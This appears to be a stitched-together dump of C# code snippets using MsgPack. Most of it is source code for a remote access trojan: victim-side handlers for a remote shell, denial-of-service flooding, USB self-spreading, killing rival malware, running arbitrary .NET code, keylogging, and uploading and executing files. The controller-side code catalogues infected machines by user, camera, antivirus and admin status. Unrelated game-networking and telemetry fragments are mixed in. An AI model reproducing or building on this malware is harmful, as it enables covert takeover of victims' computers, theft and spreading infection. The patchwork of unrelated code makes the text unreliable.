private void Button1_Click(object sender, EventArgs e)
{
if (button1.Tag == (object)"play")
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "capture";
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false;
btnSave.Enabled = true;
btnMouse.Enabled = true;
button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_;
}
else
{
button1.Tag = (object)"play";
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "stop";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
catch { }
numericUpDown1.Enabled = true;
numericUpDown2.Enabled = true;
btnSave.Enabled = false;
btnMouse.Enabled = false;
button1.BackgroundImage = Properties.Resources.play_button;
}
}
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
if (_keysPressed.Contains(e.KeyCode))
{
return;
}
_keysPressed.Add(e.KeyCode);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "keyboardClick";
msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "pong": //send interval value to server
{
ClientSocket.ActivatePong = false;
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("pong");
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
ClientSocket.Send(msgPack.Encode2Bytes());
ClientSocket.Interval = 0;
break;
}
case "plugin": // run plugin in memory
{
try
{
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
{
Packs.Add(unpack_msgpack); //save it for later
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
ClientSocket.Send(msgPack.Encode2Bytes());
}
else
{
Invoke(unpack_msgpack);
}
}
catch (Exception ex)
{
Error(ex.Message);
}
break;
}
case "savePlugin": // save plugin
{
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
Debug.WriteLine("plugin saved");
foreach (MsgPack msgPack in Packs.ToList())
{
if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
{
Invoke(msgPack);
Packs.Remove(msgPack);
}
}
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public void ReadMsgPack(MsgPack msg)
{
Id = msg.ReadNUInt16("Id"); Name = msg.ReadString("Name");
}
public void FileManager(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "getDrivers":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null)
{
FM.listView1.Items.Clear();
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < driver.Length; i++)
{
if (driver[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = driver[i];
lv.ToolTipText = driver[i];
if (driver[i + 1] == "Fixed")
{
lv.ImageIndex = 1;
}
else if (driver[i + 1] == "Removable")
{
lv.ImageIndex = 2;
}
else
{
lv.ImageIndex = 1;
}
FM.listView1.Items.Add(lv);
}
i += 1;
}
}
}));
}
break;
}
case "getPath":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null)
{
FM.listView1.Items.Clear();
FM.listView1.Groups.Clear();
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
ListViewGroup groupFolder = new ListViewGroup("Folders");
FM.listView1.Groups.Add(groupFolder);
int numFolders = 0;
for (int i = 0; i < _folder.Length; i++)
{
if (_folder[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = _folder[i];
lv.ToolTipText = _folder[i + 1];
lv.Group = groupFolder;
lv.ImageIndex = 0;
FM.listView1.Items.Add(lv);
numFolders += 1;
}
i += 1;
}
string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
ListViewGroup groupFile = new ListViewGroup("Files");
FM.listView1.Groups.Add(groupFile);
int numFiles = 0;
for (int i = 0; i < _file.Length; i++)
{
if (_file[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = Path.GetFileName(_file[i]);
lv.ToolTipText = _file[i + 1];
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
FM.imageList1.Images.Add(_file[i + 1], im);
lv.ImageKey = _file[i + 1];
lv.Group = groupFile;
lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
FM.listView1.Items.Add(lv);
numFiles += 1;
}
i += 3;
}
FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
}
}));
}
break;
}
case "reqUploadFile":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(async() =>
{
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
if (FD != null)
{
FD.C = client;
FD.timer1.Start();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "uploadFile";
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName);
msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName;
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
}
}));
}
break;
}
}
}
catch { }
}
public void ReadMsgPack(MsgPack msg)
{
Id = msg.RnI32("Id"); Name = msg.RS("Name");
}
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "botKiller":
{
new HandleBotKiller().RunBotKiller();
Connection.Disconnected();
break;
}
case "limeUSB":
{
new HandleLimeUSB().Initialize();
Connection.Disconnected();
break;
}
case "torrent":
{
new HandleTorrent(unpack_msgpack);
Connection.Disconnected();
break;
}
case "shell":
{
HandleShell.StarShell();
break;
}
case "shellWriteInput":
{
if (HandleShell.ProcessShell != null)
{
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
}
break;
}
case "dosAdd":
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "dosAdd";
Connection.Send(msgpack.Encode2Bytes());
break;
}
case "dos":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "postStart":
{
ctsDos = new CancellationTokenSource();
new HandleDos().DosPost(unpack_msgpack);
break;
}
case "postStop":
{
ctsDos.Cancel();
Connection.Disconnected();
break;
}
}
break;
}
case "executeDotNetCode":
{
new HandlerExecuteDotNetCode(unpack_msgpack);
Connection.Disconnected();
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public void AddToListview(Clients client, MsgPack unpack_msgpack)
{
try
{
lock (Settings.LockBlocked)
{
try
{
if (Settings.Blocked.Count > 0)
{
if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
{
client.Disconnected();
return;
}
else if (Settings.Blocked.Contains(client.Ip))
{
client.Disconnected();
return;
}
}
}
catch { }
}
client.Admin = false;
if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user")
{
client.Admin = true;
}
client.LV = new ListViewItem
{
Tag = client,
Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
};
string[] ipinf;
string address = "";
try
{
if (TimeZoneInfo.Local.Id == "China Standard Time")
{
using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\Plugins\ip2region.db"))
{
string temp = _search.MemorySearch(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Region;
for (int i = 0; i < 5; i++)
{
if (i == 1)
{
continue;
}
if (temp.Split('|')[i] != "" || temp.Split('|')[i] != " ")
{
address = address + temp.Split('|')[i] + " ";
}
}
}
client.LV.SubItems.Add(address);
}
else
{
ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
client.LV.SubItems.Add(ipinf[1]);
}
}
catch
{
client.LV.SubItems.Add("Unknown");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
try
{
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
}
catch
{
try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
}
catch
{
client.LV.SubItems.Add("??");
}
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
client.LV.SubItems.Add("0000 MS");
client.LV.SubItems.Add("...");
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.UseItemStyleForSubItems = false;
client.LastPing = DateTime.Now;
Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
Program.form1.lv_act.Width = 500;
}
if (Properties.Settings.Default.Notification == true)
{
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100);
if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
{
try
{
string content = $"Client {client.Ip} connected" + "\n"
+ "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
+ "User:"******"User").AsString + "\n"
+ "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
+ "User:"******"Admin").AsString;
DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
TimeZoneInfo local = TimeZoneInfo.Local;
if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true)
{
SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
sp.Load();
sp.Play();
}
}));
}
catch { }
}
public static void Read(object Obj)
{
Clients client = null;
try
{
object[] array = Obj as object[];
byte[] data = (byte[])array[0];
client = (Clients)array[1];
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Settings.AES.Decrypt(data));
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
{
new HandleListView().AddToListview(client, unpack_msgpack);
break;
}
case "Ping":
{
new HandlePing(client, unpack_msgpack);
break;
}
case "Logs":
{
new HandleLogs().Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black);
break;
}
case "thumbnails":
{
new HandleThumbnails(client, unpack_msgpack);
break;
}
case "BotKiller":
{
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange);
break;
}
case "usbSpread":
{
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple);
break;
}
case "Received":
{
new HandleListView().Received(client);
break;
}
case "remoteDesktop":
{
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
break;
}
case "processManager":
{
new HandleProcessManager().GetProcess(client, unpack_msgpack);
break;
}
case "socketDownload":
{
new HandleFileManager().SocketDownload(client, unpack_msgpack);
break;
}
case "keyLogger":
{
new HandleKeylogger(client, unpack_msgpack);
break;
}
case "fileManager":
{
new HandleFileManager().FileManager(client, unpack_msgpack);
break;
}
}
}
catch (CryptographicException)
{
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red);
// Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
client.Disconnected();
return;
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
return;
}
}
public void RegManager(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "setClient":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
if (FM.Client == null)
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
FM.Client = client;
FM.timer1.Enabled = true;
}
}
break;
}
case "CreateKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
byte[] Matchbyte = unpack_msgpack.ForcePathObject("Match").GetAsBytes();
FM.CreateNewKey(ParentPath, DeSerializeMatch(Matchbyte));
}
break;
}
case "LoadKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string rootKey = unpack_msgpack.ForcePathObject("RootKey").AsString;
byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();
FM.AddKeys(rootKey, DeSerializeMatches(Matchesbyte));
}
break;
}
case "DeleteKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string rootKey = unpack_msgpack.ForcePathObject("ParentPath").AsString;
string subkey = unpack_msgpack.ForcePathObject("KeyName").AsString;
FM.DeleteKey(rootKey, subkey);
}
break;
}
case "RenameKey":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string rootKey = unpack_msgpack.ForcePathObject("rootKey").AsString;
string oldName = unpack_msgpack.ForcePathObject("oldName").AsString;
string newName = unpack_msgpack.ForcePathObject("newName").AsString;
FM.RenameKey(rootKey, oldName, newName);
}
break;
}
case "CreateValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string Kindstring = unpack_msgpack.ForcePathObject("Kindstring").AsString;
string newKeyName = unpack_msgpack.ForcePathObject("newKeyName").AsString;
RegistryValueKind Kind = RegistryValueKind.None;
switch (Kindstring)
{
case "-1":
{
Kind = RegistryValueKind.None;
break;
}
case "0":
{
Kind = RegistryValueKind.Unknown;
break;
}
case "1":
{
Kind = RegistryValueKind.String;
break;
}
case "2":
{
Kind = RegistryValueKind.ExpandString;
break;
}
case "3":
{
Kind = RegistryValueKind.Binary;
break;
}
case "4":
{
Kind = RegistryValueKind.DWord;
break;
}
case "7":
{
Kind = RegistryValueKind.MultiString;
break;
}
case "11":
{
Kind = RegistryValueKind.QWord;
break;
}
}
RegValueData regValueData = new RegValueData();
regValueData.Name = newKeyName;
regValueData.Kind = Kind;
regValueData.Data = new byte[] { };
FM.CreateValue(keyPath, regValueData);
}
break;
}
case "DeleteValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string ValueName = unpack_msgpack.ForcePathObject("ValueName").AsString;
FM.DeleteValue(keyPath, ValueName);
}
break;
}
case "RenameValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
string OldValueName = unpack_msgpack.ForcePathObject("OldValueName").AsString;
string NewValueName = unpack_msgpack.ForcePathObject("NewValueName").AsString;
FM.RenameValue(keyPath, OldValueName, NewValueName);
}
break;
}
case "ChangeValue":
{
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (FM != null)
{
string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString;
byte[] RegValueDatabyte = unpack_msgpack.ForcePathObject("Value").GetAsBytes();
FM.ChangeValue(keyPath, DeSerializeRegValueData(RegValueDatabyte));
}
break;
}
}
}
catch { }
}
/// <summary>
/// 开始战斗
/// </summary>
/// <param name="msg"></param>
public void BattleSatrt(MsgPack msg)
{
this.groupPack = msg.GroupPack;
RunByStep();
}
private void ParseMessage(byte[] bytes)
{
if (previousCode == 0)
{
var code = bytes[0];
if (code == Protocol.USER_ID)
{
Id = System.Text.Encoding.UTF8.GetString(bytes, 2, bytes[1]);
if (OnOpen != null)
{
OnOpen.Invoke(this, EventArgs.Empty);
}
}
else if (code == Protocol.JOIN_REQUEST)
{
var requestId = bytes[1];
IRoom room;
if (connectingRooms.TryGetValue(requestId, out room))
{
room.Id = System.Text.Encoding.UTF8.GetString(bytes, 3, bytes[2]);
endpoint.Path = "/" + room.Id;
endpoint.Query = "colyseusid=" + this.Id;
var processPath = "";
var nextIndex = 3 + room.Id.Length;
if (bytes.Length > nextIndex)
{
processPath = System.Text.Encoding.UTF8.GetString(bytes, nextIndex + 1, bytes[nextIndex]) + "/";
}
room.SetConnection(CreateConnection(processPath + room.Id, room.Options));
room.OnLeave += OnLeaveRoom;
if (rooms.ContainsKey(room.Id))
{
rooms.Remove(room.Id);
}
rooms.Add(room.Id, room);
connectingRooms.Remove(requestId);
}
else
{
throw new Exception("can't join room using requestId " + requestId.ToString());
}
}
else if (code == Protocol.JOIN_ERROR)
{
string message = System.Text.Encoding.UTF8.GetString(bytes, 2, bytes[1]);
if (OnError != null)
{
OnError.Invoke(this, new ErrorEventArgs(message));
}
}
else if (code == Protocol.ROOM_LIST)
{
previousCode = code;
}
}
else
{
if (previousCode == Protocol.ROOM_LIST)
{
var message = MsgPack.Deserialize <List <object> >(new MemoryStream(bytes));
var requestId = Convert.ToInt32(message[0]);
List <object> _rooms = (List <object>)message[1];
RoomAvailable[] availableRooms = new RoomAvailable[_rooms.Count];
for (int i = 0; i < _rooms.Count; i++)
{
IDictionary <string, object> room = (IDictionary <string, object>)_rooms[i];
RoomAvailable _room = ObjectExtensions.ToObject <RoomAvailable>(_rooms[i]);
availableRooms[i] = _room;
}
roomsAvailableRequests[requestId].Invoke(availableRooms);
roomsAvailableRequests.Remove(requestId);
}
previousCode = 0;
}
}
private async Task SaveFileAsync(MsgPack unpack_msgpack, string name)
{
await unpack_msgpack.SaveBytesToFile(name);
}
public async void FileManager(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "getDrivers":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null)
{
FM.toolStripStatusLabel1.Text = "";
FM.listView1.Items.Clear();
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < driver.Length; i++)
{
if (driver[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = driver[i];
lv.ToolTipText = driver[i];
if (driver[i + 1] == "Fixed")
{
lv.ImageIndex = 1;
}
else if (driver[i + 1] == "Removable")
{
lv.ImageIndex = 2;
}
else
{
lv.ImageIndex = 1;
}
FM.listView1.Items.Add(lv);
}
i += 1;
}
}
break;
}
case "getPath":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null)
{
FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
}
if (FM.toolStripStatusLabel1.Text.Length == 2)
{
FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
}
FM.listView1.BeginUpdate();
//
FM.listView1.Items.Clear();
FM.listView1.Groups.Clear();
FM.toolStripStatusLabel3.Text = "";
ListViewGroup groupFolder = new ListViewGroup("Folders");
ListViewGroup groupFile = new ListViewGroup("Files");
FM.listView1.Groups.Add(groupFolder);
FM.listView1.Groups.Add(groupFile);
FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
//
FM.listView1.Enabled = true;
FM.listView1.EndUpdate();
FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]";
}
break;
}
case "reqUploadFile":
{
FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
if (FD != null)
{
FD.Client = client;
FD.timer1.Start();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "uploadFile";
await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);
msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
}
break;
}
case "error":
{
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
if (FM != null)
{
FM.listView1.Enabled = true;
FM.toolStripStatusLabel3.ForeColor = Color.Red;
FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString;
}
break;
}
}
}
catch { }
}
public MsgPackContentFormatter(MsgPack.Serialization.SerializationContext serializationContext, string mediaType = "application/x-msgpack", string ext = "mpk")
: base(mediaType, ext, null)
{
this.serializationContext = serializationContext;
}
public FileManager(MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "getDrivers":
{
GetDrivers();
break;
}
case "getPath":
{
GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
break;
}
case "uploadFile":
{
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
if (File.Exists(fullPath))
{
File.Delete(fullPath);
Thread.Sleep(500);
}
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
break;
}
case "reqUploadFile":
{
ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);;
break;
}
case "socketDownload":
{
DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
break;
}
case "deleteFile":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
File.Delete(fullPath);
break;
}
case "execute":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
Process.Start(fullPath);
break;
}
case "createFolder":
{
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
break;
}
case "deleteFolder":
{
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
if (Directory.Exists(fullPath))
{
Directory.Delete(fullPath);
}
break;
}
case "copyFile":
{
Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
break;
}
case "pasteFile":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
if (fullPath.Length > 0)
{
string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < filesArray.Length; i++)
{
try
{
if (filesArray[i].Length > 0)
{
File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
Packet.FileCopy = null;
}
break;
}
case "renameFile":
{
File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
break;
}
case "renameFolder":
{
Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
break;;
}
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Error(ex.Message);
}
}
private void SendPing(long timestamp)
{
if (this._lastPingTime == 0)
{
return;
}
if (timestamp - this._lastPingTime < RUMConfig.PING_INTERVAL)
{
return;
}
this._lastPingTime += RUMConfig.PING_INTERVAL;
if (this._debug)
{
Debug.Log("[RUM] ping...");
}
long lastEid = this._pingEid;
int lastCount = this._writeCount;
this._writeCount = 0;
this._pingEid = MidGenerator.Gen();
long salt = this.GenSalt();
IDictionary <string, object> payload = new Dictionary <string, object>();
payload.Add("pid", this._pid);
payload.Add("sign", this.GenSign(salt));
payload.Add("salt", salt);
payload.Add("uid", this._uid);
payload.Add("rid", this._rumEvent.GetRumId());
payload.Add("sid", this._session);
payload.Add("cv", this._configVersion);
payload.Add("pt", this._pingLatency);
payload.Add("ss", this._rumEvent.GetStorageSize());
payload.Add("wc", lastCount);
payload.Add("feid", lastEid);
payload.Add("teid", this._pingEid);
MemoryStream outputStream = new MemoryStream();
MsgPack.Serialize(payload, outputStream);
outputStream.Position = 0;
byte[] bytes = outputStream.ToArray();
FPData data = new FPData();
data.SetFlag(0x1);
data.SetMtype(0x1);
data.SetMethod("ping");
data.SetPayload(bytes);
long pingTime = timestamp;
RUMClient self = this;
this.SendQuest(data, (cbd) => {
self._pingLatency = Convert.ToInt32(ThreadPool.Instance.GetMilliTimestamp() - pingTime);
Exception ex = cbd.GetException();
if (ex != null)
{
self.GetEvent().FireEvent(new EventData("error", ex));
return;
}
IDictionary <string, object> dict = (IDictionary <string, object>)cbd.GetPayload();
if (self._debug)
{
Debug.Log("[RUM] ping: " + Json.SerializeToString(dict));
}
self._rumEvent.SetTimestamp(Convert.ToInt64(dict["ts"]));
self._rumEvent.SetSizeLimit(Convert.ToInt32(dict["bw"]));
int cv = Convert.ToInt32(dict["cv"]);
if (self._configVersion != cv || (cv == 0 && !self._rumEvent.HasConfig()))
{
self._configVersion = cv;
this.LoadConfig();
}
}, RUMConfig.PING_INTERVAL);
}
public void SocketDownload(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "pre":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
string file = unpack_msgpack.ForcePathObject("File").AsString;
string size = unpack_msgpack.ForcePathObject("Size").AsString;
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
SD.C = client;
SD.labelfile.Text = Path.GetFileName(file);
SD.dSize = Convert.ToInt64(size);
SD.timer1.Start();
}
}));
}
break;
}
case "save":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(async() =>
{
try
{
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
{
return;
}
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
if (File.Exists(filename))
{
File.Delete(filename);
await Task.Delay(500);
}
